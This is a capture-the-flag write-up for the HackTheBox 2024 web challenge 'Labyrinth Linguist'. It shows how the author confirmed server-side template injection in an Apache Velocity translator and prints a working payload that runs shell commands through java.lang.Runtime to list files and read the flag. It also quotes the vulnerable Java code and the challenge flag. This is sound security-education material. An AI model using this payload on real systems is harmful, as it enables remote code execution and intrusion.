Labyrinth Linguist

Writeup for Labyrinth Linguist (Web) - HackTheBox Cyber Apocalypse CTF (2024) 💜

Video Walkthrough

Description

You and your faction find yourselves cornered in a refuge corridor inside a maze while being chased by a KORP mutant exterminator. While planning your next move you come across a translator device left by previous Fray competitors, it is used for translating english to voxalith, an ancient language spoken by the civilization that originally built the maze. It is known that voxalith was also spoken by the guardians of the maze that were once benign but then were turned against humans by a corrupting agent KORP devised. You need to reverse engineer the device in order to make contact with the mutant and claim your last chance to make it out alive.

Solution

We can review source code but first let's check the site functionality. It's basic, we have a form field and a submit button and it says Enter text to translate english to voxalith!.

If we enter some text, it will send our data in a POST request, e.g. text=hi and display our text in a "fire" text font.

<h2 class="fire">hi</h2>

The burp scanner detects several vulns, including SSTI, XSS and Client-side desync.

The XSS checks out, we can easily pop an alert but what is a vulnerability without impact? Let's stop wasting time with self-XSS and review the SSTI.

The advisory notes that the template engine appears to be Velocity. Here's the URL-decoded payload, which prints v0oot695019a4423 to the screen.

#set ($a=923*753) v0oot${a}a4423

Burp always complicates PoC's for some reason, here's a better visualisation.

#set ($hack=420*23) ${hack}

When URL-encoded, it prints 9660. So, we have confirmed the presence of server-side template injection. Next, we want to find some payloads that do more than basic mathematical calculations.

• Portswigger SSTI research
• HackTricks Velocity SSTI
• PayloadsAllTheThings Velocity SSTI
• Velocity SSTI blogpost
• Velocity user guide

None of the payloads I could find would work. I Tried text=%23include("flag.txt") and various directory traversals but it always always returned a 500 error; unable to find resource.

Eventually, I found a payload in a gosecure SSTI workshop that worked.

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('ls ../'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

It was quite similar to the payloads in the resources listed earlier. The main difference is we didn't access the $class variable directly (instead accessing via a string).

Anyway, we URL-encode the payload list out the files in the directory. One is named flag3b28509596.txt so we can just update the payload to cat the flag.

Again, we solved the challenge without requiring access to server-side source code. Personally, I think this is a valuable exercise, especially if you want to improve your bug bounty skills since source code is typically unavailable. Actually, I did download the code and check it very quickly towards the beginning, e.g. it's nice to know there's a flag.txt that will be in the root directory.

mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt

I didn't study the source code though. If I did, I would of discovered the Main.java file imports velocity and inserts our unsanitised user input (textString) into the webpage, resulting in SSTI.

template = readFileToString("/app/src/main/resources/templates/index.html", textString);

StringReader reader = new StringReader(template);
org.apache.velocity.Template t = new org.apache.velocity.Template();

t.setData(runtimeServices.parse(reader, "home"));
t.initDocument();
VelocityContext context = new VelocityContext();
context.put("name", "World");
StringWriter writer = new StringWriter();
t.merge(context, writer);
template = writer.toString();

Flag: HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}